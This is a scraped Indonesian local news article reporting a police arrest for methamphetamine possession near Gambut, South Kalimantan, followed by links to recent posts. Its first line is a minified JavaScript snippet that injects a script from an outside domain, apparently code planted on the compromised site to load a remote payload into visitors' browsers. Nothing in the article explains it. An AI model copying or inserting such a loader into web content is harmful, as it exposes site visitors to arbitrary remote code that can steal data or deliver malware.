(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Dicegat di Pinggir Jalan, SA ke Penjara Kawannya Kabur


KANALKALIMANTAN.COM, MARTAPURA – Seorang pemuda warga jalan Kelayan B Banjarmasin Selatan Kota Banjarmasin, SA (25), dibekuk aparat kepolisian polsek Gambut karena kedapatan menyimpan narkotika jenis sabu pada Sabtu (26/9/2020) pukul 14:30 Wita.

“Tersangka SA diringkus di pinggir jalan A Yani, Km 11 Kelurahan Gambut Barat,” kata Kapolsek Gambut Iptu Jenny Rahman, kepada Kanalkalimantan.com, Senin (28/9/2020).

Kapolsek Gambut Iptu Jenny Rahman menceritakan, penangkapan pemuda 25 tahun ini berawal dari informasi masyarakat bahwa akan ada yang membawa sabu menggunakan sepeda motor Honda Scoopy warna hitam dari arah Banjarmasin dengan perawakan kurus berjaket warna biru tua.

Setelah mendapati ciri-ciri tersangka, anggota kepolisian langsung melakukan pemberhentian terhadap orang tersebut yang mana pada saat diberhentikan orang tersebut langsung melarikan diri.

“Pada saat diberhentikan anggota, tersangka langsung menggas sepeda motornya melarikan diri, sedangkan SA yang dibonceng berhasil diamankan,” ungkap Jenny Rahman.

Lanjut Iptu Jenny Rahman lebih jauh, kemudian anggota kepolisian langsung melakukan penggeledahan terhadap SA, kemudian mendapati 1 sabu dan dikantong jaket sebelah kanan terdapat alat untuk konsumsi sabu.

Tersangka dijerat dengan Pasal 114 Ayat (1) Jo Pasal 112 Ayat (1) UU. RI No. 35 Tahun 2009 Tentang Narkotika dipidana dengan pidana penjara paling singkat 4 tahun dan paling lama 12 tahun dan pidana denda paling sedikit Rp 800 juta. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

3 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

3 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

4 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

5 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

7 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

8 jam ago

This website uses cookies.